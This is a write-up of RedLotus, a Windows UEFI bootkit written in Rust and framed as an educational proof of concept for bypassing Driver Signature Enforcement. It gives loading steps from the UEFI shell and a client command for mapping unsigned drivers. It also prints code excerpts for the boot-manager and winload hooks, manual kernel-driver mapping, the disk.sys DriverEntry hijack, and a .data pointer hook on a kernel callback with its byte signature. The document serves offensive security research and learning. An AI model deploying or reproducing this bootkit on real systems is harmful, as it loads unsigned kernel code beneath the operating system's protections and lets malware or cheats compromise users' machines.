Rusty Windows UEFI Bootkit
Updated in 2025
Introduction#
RedLotus is a Windows UEFI bootkit written in Rust that executes before ntoskrnl.exe
and bypasses Driver Signature Enforcement (DSE) using a simple .data
pointer hook. It sets up a kernel-mode manual mapper (redlotus.sys
), controlled post-boot via a Rust-based user-mode client. The bootkit itself is implemented as a UEFI_RUNTIME_DRIVER
, inspired by the work of umap by @btbd, and demonstrates how Rust can be used to build low-level UEFI components and early boot-time hooks.
The runtime communication mechanism leverages the .data
pointer for xKdEnumerateDebuggingDevices
, allowing the loader to communicate with the kernel from user space using NtConvertBetweenAuxiliaryCounterAndPerformanceCounter
- a technique originally documented by the legendary @can1357. While effective for this PoC, it’s worth noting that this approach is easily flagged by modern anti-cheat systems.
These techniques have long been used - and still are - in the game hacking community, not just to manually map unsigned kernel drivers, but in some cases to hijack Hyper-V and abuse virtualization features for hiding cheats. While the tactics aren’t new, this write-up aims to document how they’re evolving and being applied to modern tooling, especially in research contexts. RedLotus makes no attempt at stealth or persistence and should be viewed strictly as a learning-oriented project.
This project is inspired by the following:
- Umap - btbd
- Bootlicker - Austin Hudson (@realoriginal / @ilove2pwn_ / @secidiot)
- BlackLotus - ESET
- ESPecter - ESET
- UEFI-Bootkit - Aidan Khoury (@ajkhoury)
- EfiGuard - Matthijs Lavrijsen (@Mattiwatti)
- Bootkitting Windows Sandbox - Duncan Ogilvie (@mrexodia), Dylan Goods (@sdoogm)
- Rootkits and Bootkits - Alex Matrosov, Eugene Rodionov, Sergey Bratus
This is a PoC for educational and research purposes.
Description#
A bootkit executes before the operating system and can inject drivers, patch memory, or tamper with early boot functions to bypass OS security like Secure Boot or DSE. RedLotus shows how to use a Rust-based UEFI runtime driver to:
- Hook
bootmgfw.efi
andwinload.efi
- Load and install a kernel-mode manual mapper (
redlotus.sys
) - Communicate with the mapper from user-mode (
client.exe
) to manually map unsigned drivers
This image from WeLiveSecurity compares legacy BIOS and UEFI boot flows:
Figure 1. Comparison of the Legacy Boot flow (left) and UEFI boot flow (right) on Windows (Vista and newer) systems (Full Credits: WeLiveSecurity)
Execution Flow#
The following diagram shows the full internal flow of RedLotus from UEFI shell to Windows kernel execution, including all hooks and transitions:
Figure 2. RedLotus bootkit and manual driver mapper flow
Usage Scenarios#
A UEFI Bootkit works under the following conditions:
- Secure Boot is disabled (no vulnerability required) - supported
- Exploit a known UEFI firmware vulnerability (BYOVB) to disable Secure Boot on an updated system
- Use a 0-day in UEFI firmware to disable Secure Boot
Usage 1: Infecting bootmgfw.efi (Unsupported)#
Although many bootkits patch bootmgfw.efi
, this PoC does not support it. The steps would involve:
- Appending a new
.efi
section tobootmgfw.efi
- Changing its entry point to your shellcode
- Booting into the modified Windows Boot Manager
This method is intentionally left unsupported.
Usage 2: Loading from UEFI Shell (Supported)#
- Download EDK2 UEFI Shell or UEFI-Shell
- Format a USB drive as FAT32 and prepare this folder layout:
USB:.
│ redlotus.efi
│
└───EFI
└───Boot
bootx64.efi
- Boot into the UEFI shell and run:
FS0:
cp fs2:redlotus.efi .
load redlotus.efi
Windows will continue booting automatically after the bootkit installs itself.
Figure 3. Loading redlotus.efi from the UEFI shell
Manual Driver Mapping (DSE Bypass)#
Once booted, use client.exe
to map an unsigned driver manually:
client.exe --path .\testing123.sys
The mapper uses .data
ptr-based comms via ntoskrnl.exe
. For example, the xKdEnumerateDebuggingDevices
or NtConvertBetweenAuxiliaryCounterAndPerformanceCounter
callbacks can be hijacked.
Figure 4. Manually mapping testing123.sys using redlotus.sys
Boot-Time Hooking and Mapper Internals#
During boot, RedLotus:
- Hooks
ImgArchStartBootApplication
andOslFwpKernelSetupPhase1
- Allocates memory and installs
redlotus.sys
- Resolves imports, rebases, and finalizes manual mapping
- Restores control to
winload.efi
and thenntoskrnl.exe
Figure 5. redlotus.sys mapped and executing inside the Windows kernel
Tested On#
Microsoft Windows 10 Home 10.0.19045 N/A Build 19045
Microsoft Windows 11 Home 10.0.22621 N/A Build 22621
Influence of BlackLotus#
BlackLotus used a known Secure Boot vulnerability (CVE-2022-21894) to drop a persistent bootkit on fully patched systems. It disables BitLocker, HVCI, and Windows Defender protections before the OS loads.
RedLotus doesn’t exploit Secure Boot directly but supports BYOVB methods. If Secure Boot is off, you don’t need any exploit.
Key Takeaways#
- RedLotus executes before ntoskrnl.exe, giving full control over early Windows boot
- DSE is bypassed cleanly, without patching the kernel or modifying the OS loader
- Rust works well for UEFI and low-level driver code, providing memory safety without sacrificing performance
- Basic
.data
ptr comms are easy to detect, but they’re good enough for PoC/demo. Swap for more stealth if needed
RedLotus Boot Flow (Explained by Diagram)#
Figure 6: High-level execution flow of
redlotus.efi
and redlotus.sys
Step 1 - Setup
: Entry Point from redlotus.efi
#
The UEFI runtime driver (redlotus.efi
) is loaded via efi_main
, allocates memory for redlotus.sys
, and sets up hooks in bootmgfw.efi
.
Code reference: bootkit/src/main.rs
DRIVER_PHYSICAL_MEMORY = boot_services
.allocate_pages(...); // allocate memory for redlotus.sys
copy_nonoverlapping(driver_bytes.as_mut_ptr(), DRIVER_PHYSICAL_MEMORY as *mut u8, ...);
// Set hook chain from bootmgfw.efi -> winload.efi -> ntoskrnl.exe
boot::hooks::setup_hooks(&bootmgfw_handle, boot_services)?;
Step 2 - Hook ImgArchStartBootApplication (bootmgfw.efi)
#
Hooks the EFI boot manager entry point to intercept control when winload.efi
is loaded but not yet executed.
Code reference: bootkit/src/boot/hooks.rs
let offset = pattern_scan(..., ImgArchStartBootApplicationSignature)?;
ImgArchStartBootApplication = Some(...);
trampoline_hook64(..., img_arch_start_boot_application_hook, ...);
Step 3 - Hook OslFwpKernelSetupPhase1
and BlImgAllocateImageBuffer
(winload.efi)#
Inside the ImgArchStartBootApplication
hook, RedLotus installs two additional hooks in winload.efi
: one on OslFwpKernelSetupPhase1
and another on BlImgAllocateImageBuffer
.
OslFwpKernelSetupPhase1
is executed just before the transition tontoskrnl.exe
, giving RedLotus a final opportunity to patch in-memory kernel structures or drivers.BlImgAllocateImageBuffer
is the EFI memory allocator for driver images. RedLotus hijacks this to allocate RWX memory for the manual mapper.
These hooks are installed dynamically during the ImgArchStartBootApplication
interception.
Code reference: bootkit/src/boot/hooks.rs
// In img_arch_start_boot_application_hook:
// Locate OslFwpKernelSetupPhase1 in winload.efi and install trampoline
let offset = pattern_scan(winload_data, OslFwpKernelSetupPhase1Signature_1)?;
OslFwpKernelSetupPhase1 = Some(transmute((image_base + offset) as *mut u8));
ORIGINAL_BYTES = trampoline_hook64(
OslFwpKernelSetupPhase1.unwrap() as *mut u8,
ols_fwp_kernel_setup_phase1_hook as *mut u8,
JMP_SIZE,
)?;
// Locate BlImgAllocateImageBuffer and install a second trampoline
let offset = pattern_scan(winload_data, BlImgAllocateImageBufferSignature_1)?;
BlImgAllocateImageBuffer = Some(transmute((image_base + offset) as *mut u8));
ORIGINAL_BYTES_COPY = trampoline_hook64(
BlImgAllocateImageBuffer.unwrap() as *mut u8,
bl_img_allocate_image_buffer_hook as *mut u8,
JMP_SIZE,
)?;
Code reference: bootkit/src/boot/hooks.rs
// In bl_img_allocate_image_buffer_hook:
let status = BlImgAllocateImageBuffer.unwrap()(
image_buffer, image_size, memory_type,
preffered_attributes, preferred_alignment, flags,
);
// Allocate a second buffer for redlotus.sys if memory_type matches
if status == Status::SUCCESS && memory_type == BL_MEMORY_TYPE_APPLICATION {
BlImgAllocateImageBuffer.unwrap()(
&mut ALLOCATED_BUFFER,
DRIVER_IMAGE_SIZE,
memory_type,
BL_MEMORY_ATTRIBUTE_RWX,
preferred_alignment,
0,
);
}
This step ensures that all memory needed for redlotus.sys
is reserved before Windows exits UEFI context, and also sets the stage for early boot-time driver mapping inside OslFwpKernelSetupPhase1
.
Step 4 - Call ManualMapper (redlotus.efi)
#
Once OslFwpKernelSetupPhase1
is reached, the bootkit manually maps the kernel driver.
Code reference: bootkit/src/boot/hooks.rs
manually_map(ntoskrnl_base, target_driver_entry)?;
Step 5 - Setup redlotus.sys in Memory
#
Performs manual mapping of the redlotus.sys
driver into memory. This includes:
- Copying headers and PE sections
- Applying relocations
- Resolving kernel imports from
ntoskrnl.exe
- Hooking an internal export (
driver_entry
) to act as a trampoline destination
Code reference: bootkit/src/mapper/mod.rs
copy_headers(...); // Copy DOS and PE headers
copy_sections(...); // Copy .text/.data/.rdata/etc sections
rebase_image(...); // Apply base relocations
resolve_imports(...); // Resolve kernel imports from ntoskrnl
hook_export_address_table(...); // Patch export symbol (e.g., "driver_entry") as trampoline
The export patch (hook_export_address_table
) writes the JMP_SIZE
(14 bytes
) and original 7 bytes
stolen from the target driver (e.g., disk.sys
) into the manually mapped .text
section. That allows safe execution flow redirection back into the mapped payload.
Code reference: hook_export_address_table
let mapper_data_addy = module_base + functions[ordinal] as usize;
copy_nonoverlapping(target_base, mapper_data_addy, MAPPER_DATA_SIZE);
Step 6 – Hook disk.sys DriverEntry
#
Injects a short stub into the target driver’s DriverEntry
(e.g., disk.sys
) and trampoline-hooks the entry to redirect into the mapped redlotus.sys
.
Code reference: bootkit/src/boot/hooks.rs
copy_nonoverlapping(asm_bytes.as_ptr(), target_entry, asm_bytes.len());
trampoline_hook64(target_entry.add(7), mapped_entry, ...);
This stub jumps into redlotus.sys
, allowing clean transfer into our mapped image.
Step 7 – Restore OslFwpKernelSetupPhase1
#
Restores the original bytes of OslFwpKernelSetupPhase1
using trampoline_unhook
, then calls the original unmodified function. After this point, bootkit execution ends and winload.efi
transfers control to ntoskrnl.exe
.
Code reference: bootkit/src/boot/hooks.rs
trampoline_unhook(
OslFwpKernelSetupPhase1.unwrap() as *mut u8,
ORIGINAL_BYTES.as_mut_ptr(),
JMP_SIZE,
);
return unsafe { OslFwpKernelSetupPhase1.unwrap()(loader_block) };
Step 8 – Kernel Boot Continues (OslArchTransferToKernel)
#
This step isn’t instrumented directly, but is part of the natural flow after OslFwpKernelSetupPhase1
. The boot process transitions to OslArchTransferToKernel
, which hands off control to ntoskrnl.exe
. From this point onward, redlotus.sys
will be executed indirectly via the DriverEntry
hook.
Step 9 – Call Mapped redlotus.sys via DriverEntry Hook
#
The patched DriverEntry
of disk.sys
is executed. The 7-byte
stub injected earlier redirects execution into redlotus.sys
, which begins running in kernel context.
Code reference: driver/src/lib.rs
log::info!("[+] Driver Entry called");
Step 10 – Restore Stolen Bytes
#
The first task in redlotus.sys
is to restore the 7 original bytes of disk.sys
’s DriverEntry
. This is done using restore_bytes()
, which internally calls memcopywp()
(a writable MDL-backed memory copy).
After restoring the bytes, redlotus.sys
installs a .data
ptr hook (Step 11), and then transfers control back to the original disk.sys
DriverEntry
.
Code reference: driver/src/restore/mod.rs
/* Restores the stolen bytes */
restore_bytes(target_module_entry);
/* Perform a simple .data function pointer hook */
setup_hooks();
log::info!("[+] Executing unhooked DriverEntry of target driver...");
// Call the original driver entry (disk.sys)
unsafe {
DriverEntry = Some(core::mem::transmute::<*mut u8, DriverEntryType>(
target_module_entry,
));
}
return unsafe { DriverEntry.unwrap()(driver_object, registry_path) };
The target_module_entry
is passed from the UEFI bootkit as the third parameter to driver_entry
, preserving the address of the original driver’s entry point.
Step 11 – Hook HalDispatchTable (.data ptr)
#
The call to setup_hooks()
locates the .data
pointer for xKdEnumerateDebuggingDevices
in ntoskrnl.exe
and overwrites it with a pointer to HalDispatchHook
.
This hijacks a legitimate kernel callback so that future calls from user-mode can be redirected into our custom dispatcher (HalDispatchHook
), enabling manual driver mapping through ntdll.dll
.
Code reference: driver/src/hooks/mod.rs
// Locate and patch the .data ptr for xKdEnumerateDebuggingDevices
let rip = pattern_scan(kernel_data, "48 8B 05 ? ? ? ? E8 80 29 A3 FF")?;
let offset = read_offset_from_rip(rip);
let hal_dispatch_table_address = (ntoskrnl_base + offset) as *mut u8;
// Save original pointer
HalDispatchOriginal = Some(core::mem::transmute::<_, HalDispatchType>(
hal_dispatch_table_address,
));
// Overwrite it with HalDispatchHook
hal_dispatch_table_address
.cast::<*mut u64>()
.write(HalDispatchHook as *mut () as *mut u64);
The HalDispatchHook
function checks ExGetPreviousMode()
to confirm the call originated from user-mode and validates a magic value (0xdeadbeef
) in the input struct before allocating memory, copying the buffer, and calling manually_map()
to load an additional driver from memory.
Code reference: driver/src/hooks/mod.rs
pub fn HalDispatchHook(image_data: *mut IMAGE_DATA, out_status: *mut i32) -> NTSTATUS {
// Reject calls not from user-mode or with null input
if unsafe { ExGetPreviousMode() } as u8 != UserMode as u8 || image_data.is_null() {
return unsafe { HalDispatchOriginal.unwrap()(image_data, out_status) };
}
// Check magic value to validate user-mode input
if unsafe { (*image_data).magic } != 0xdeadbeef {
return unsafe { HalDispatchOriginal.unwrap()(image_data, out_status) };
}
// Allocate non-paged kernel buffer for manual mapping
let kernel_buf = unsafe { ExAllocatePool(NonPagedPool, (*image_data).buffer.len()) };
// Copy driver payload from user-mode into kernel memory
unsafe {
core::ptr::copy_nonoverlapping(
(*image_data).buffer.as_ptr(),
kernel_buf as _,
(*image_data).buffer.len(),
)
};
// Perform manual driver mapping
let Some(status) = unsafe { manually_map(kernel_buf as _) } else {
unsafe { ExFreePool(kernel_buf as _) };
return STATUS_SUCCESS;
};
// Free memory and return result
unsafe {
ExFreePool(kernel_buf as _);
*out_status = status;
}
STATUS_SUCCESS
}
This .data
ptr hook forms the core of RedLotus’s runtime communication channel between the user-mode loader (client.exe
) and the kernel-mode mapper (redlotus.sys
).
Step 12 – Call NtConvertBetweenAuxiliaryCounterAndPerformanceCounter
#
The user-mode loader (client.exe
) sends a driver buffer to the kernel by calling NtConvertBetweenAuxiliaryCounterAndPerformanceCounter
- a legitimate syscall that RedLotus hijacks via .data
ptr redirection. This allows for stealthy execution of HalDispatchHook
inside the kernel.
Code reference: client/src/main.rs
let driver_bytes = std::fs::read(driver_path)?;
let mut image_data = IMAGE_DATA {
magic: 0xdeadbeef,
buffer: driver_bytes,
};
let communication = Communication::new()?;
let result = communication.send_request(&mut image_data)?;
Core logic:
image_data
is filled with the driver payload and a magic value0xdeadbeef
.- A pointer to this struct is passed into the hijacked
.data
syscall. - Kernel-side logic checks the magic, allocates memory, and maps the driver.
Code reference: client/src/communication/mod.rs
pub fn send_request(&self, image_data: &mut IMAGE_DATA) -> Result<i32, String> {
let mut status = 0;
unsafe {
NtConvertBetweenAuxiliaryCounterAndPerformanceCounter.unwrap()(
null_mut(),
image_data as *mut _ as *mut _,
&mut status as *mut _ as *mut _,
null_mut(),
);
}
Ok(status)
}
This step establishes the runtime user-mode -> kernel-mode communication channel, completing the RedLotus manual mapper loop.
Step 13 – Manual Mapping from redlotus.sys
#
Inside the hook handler (e.g., HalDispatchHook
), the driver receives control and performs a second-stage manual map of another unsigned driver from kernel memory.
Code reference: driver/src/hooks/mod.rs
let status = manually_map(unmapped_driver_kernel_buffer as _)?;
Compatibility Note#
Please note: depending on your Windows build and version, you may need to update the function signatures for the hooked routines in bootmgfw.efi
and winload.efi
, as well as the .data
function pointer inside ntoskrnl.exe
. These offsets and patterns are version-dependent and must be validated or adjusted for your target environment to ensure reliable functionality.
This proof-of-concept relies on pattern scanning rather than hardcoded offsets - a safer approach, but still fragile across OS builds. The signatures used here are minimal and may break with Windows updates or security patches.
⚠️ Many of the operations in RedLotus involve
unsafe
code - not necessarily due to poor practice, (although, code could be better), but because of the privileged nature of early boot manipulation, raw memory patching, and manual driver mapping.
There are multiple ways to implement these techniques:
- You could hook different stages like
ExitBootServices()
orOslArchTransferToKernel
instead of chaining three hooks as done here. - Runtime payload delivery doesn’t need to rely on
.data
pointer hijacking - there are other alternatives.
Similarly, there are multiple ways to detect this kind of activity.
RedLotus does not attempt to bypass Secure Boot, HVCI, or BitLocker - unlike malware like BlackLotus, which disables protections before the kernel even loads. Instead, this PoC focuses solely on demonstrating DSE bypass via manual mapping. While the tactics are more closely aligned with cheat loaders like umap
, they overlap with BlackLotus-like malware in structure and timing.
Finally, RedLotus is intentionally not novel or stealthy. It prioritizes transparency and educational value over evasion. The goal is to demystify these techniques and provide a reference point for early boot offensive research, driver loading, and UEFI runtime development in Rust.
Conclusion#
RedLotus is an experimental project that shows how a full UEFI bootkit can be written in Rust and used to manually map unsigned drivers during boot. While it’s not designed for stealth or production use, it demonstrates how early boot environments can bypass protections like Driver Signature Enforcement. It also serves as a reference for using Rust in low-level offensive security projects. These techniques have long been used - and still are - in the game hacking community, not just to manually map unsigned kernel drivers, but even to hijack Hyper-V and leverage virtualization for stealth. While none of this is groundbreaking, RedLotus helps document how these methods continue to resurface in offensive tooling - refined, repurposed, and still relevant.
Credits / References / Thanks / Motivation#
Austin Hudson (@realoriginal / @ilove2pwn_ / @secidiot): https://github.com/realoriginal/bootlicker
inlineHookz (smoke/snow/never_unsealed): https://twitter.com/never_unsealed
Rust Community Discord: https://discord.com/invite/rust-lang (#windows-dev channel PeterRabbit, MaulingMonkey etc.)
Aidan Khoury: https://github.com/ajkhoury/UEFI-Bootkit/
Matthijs Lavrijsen: https://github.com/Mattiwatti/EfiGuard
WeLiveSecurity:
Duncan Ogilvie (@mrexodia), Dylan Goods: https://secret.club/2022/08/29/bootkitting-windows-sandbox.html
Samuel Tulach: https://github.com/SamuelTulach/rainbow
UnknownCheats: https://www.unknowncheats.me/forum/anti-cheat-bypass/452202-rainbow-efi-bootkit-hwid-spoofer-smbios-disk-nic.html
ekknod: https://github.com/ekknod/sumap/
Cr4sh: https://github.com/Cr4sh/s6_pcie_microblaze/tree/master/python/payloads/DmaBackdoorBoot
Alex Matrosov - Rootkits and Bootkits: https://nostarch.com/rootkits (https://twitter.com/matrosov)
Binarly: https://www.binarly.io/posts/The_Untold_Story_of_the_BlackLotus_UEFI_Bootkit/index.html
rust-osdev#
- https://github.com/rust-osdev/uefi-rs
- https://github.com/rust-osdev/bootloader
- https://crates.io/crates/uefi
- https://docs.rs/uefi/latest/
- https://rust-osdev.github.io/uefi-rs/HEAD/
Documentation and Tools#
- https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/bcd-system-store-settings-for-uefi?view=windows-11
- https://developer.microsoft.com/en-us/windows/downloads/virtual-machines/
- https://github.com/LongSoft/UEFITool
- https://github.com/tianocore/edk2
- https://github.com/pbatard/UEFI-Shell
- https://securelist.com/cosmicstrand-uefi-firmware-rootkit/106973/
- https://wikileaks.org/ciav7p1/cms/page_36896783.html
- https://github.com/nix-community/lanzaboote/
- https://github.com/lyricalsoul/genie/
- https://github.com/pfnsec/uefi-bin-enum/
- https://github.com/coreos/picker
- https://github.com/mikroskeem/apple-set-os/
- https://github.com/Justfr33z/trampoline/
- https://github.com/kweatherman/sigmakerex
Pattern Scanning, Signatures, and Reversing#
- https://guidedhacking.com/threads/external-internal-pattern-scanning-guide.14112/
- https://guidedhacking.com/resources/guided-hacking-x64-cheat-engine-sigmaker-plugin-ce-7-2.319/
- https://github.com/frk1/hazedumper-rs/
- https://github.com/Jakobzs/patternscanner/
- https://github.com/pseuxide/toy-arms/
- https://uefi.org/specs/UEFI/2.10/index.html
Other Bootkit / UEFI Research#
- https://github.com/x1tan/rust-uefi-runtime-driver/
- https://github.com/tandasat/MiniVisorPkg/blob/master/Docs/Building_and_Debugging.md
- https://xitan.me/posts/rust-uefi-runtime-driver/
- https://github.com/tandasat/MiniVisorPkg/blob/master/Docs/Testing_UEFI_on_Hyper-V.md
- https://www.intel.com/content/www/us/en/download/674520/intel-uefi-development-kit-intel-udk-debugger-tool-windows.html
- https://doxygen.reactos.org/
- https://www.vergiliusproject.com/
Special Thanks#
jonaslyk: https://twitter.com/jonasLyk - for the correct signature for
BlImgAllocateImageBuffer
idontcode aka @_xeroxz: https://blog.back.engineering/08/06/2020/
can1357: https://www.unknowncheats.me/forum/2614582-post12.html
https://www.unknowncheats.me/forum/anti-cheat-bypass/503521-data-ptr.html
https://www.unknowncheats.me/forum/programming-for-beginners/193545-trying-sig-offset-ida.html
Thanks not_matthias, draven/rmccrystal, and @jessiep_
Thanks Idov31 for the link: https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/bcdedit–bootdebug